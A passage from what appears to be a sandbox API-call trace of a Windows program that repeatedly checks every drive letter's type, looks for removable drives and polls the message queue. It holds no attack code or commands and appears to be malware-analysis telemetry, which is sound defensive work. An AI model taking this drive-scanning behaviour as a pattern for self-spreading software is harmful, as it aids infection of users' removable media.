[0171.373] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.374] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.374] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.374] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.374] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.374] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.374] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.374] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.375] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.375] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.375] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.375] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.376] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.376] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.376] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.376] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.376] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.376] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.376] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.376] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.376] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.376] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.376] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.376] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.377] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.377] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.377] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.377] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.377] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.377] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.377] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.378] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.378] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.378] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.378] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.378] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.378] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.379] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.379] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.379] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.379] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.380] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.380] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.380] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.380] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.380] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.380] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.380] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.380] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.380] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.381] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.381] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.381] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.381] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.381] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.381] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.381] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.381] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.382] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.382] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.382] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.382] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.382] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.382] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.382] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.382] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.382] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.383] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.383] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.383] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.383] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.383] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.383] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.383] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.383] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.383] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.383] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.383] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.383] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.383] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.383] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.383] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.383] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.383] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.384] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.384] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.384] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.384] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.384] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.384] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.384] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.384] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.384] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.385] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.385] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.385] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.385] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.385] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.385] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.385] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.385] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.385] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.385] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.385] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.385] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.385] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.385] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.385] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.386] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.386] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.386] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.386] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.386] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.386] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.386] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.386] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.386] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.386] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.386] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.386] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.386] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.386] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.387] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.387] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.387] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.387] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.387] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.387] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.387] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.387] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.387] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.387] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.387] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.387] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.387] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.387] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.388] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.388] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.388] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.388] 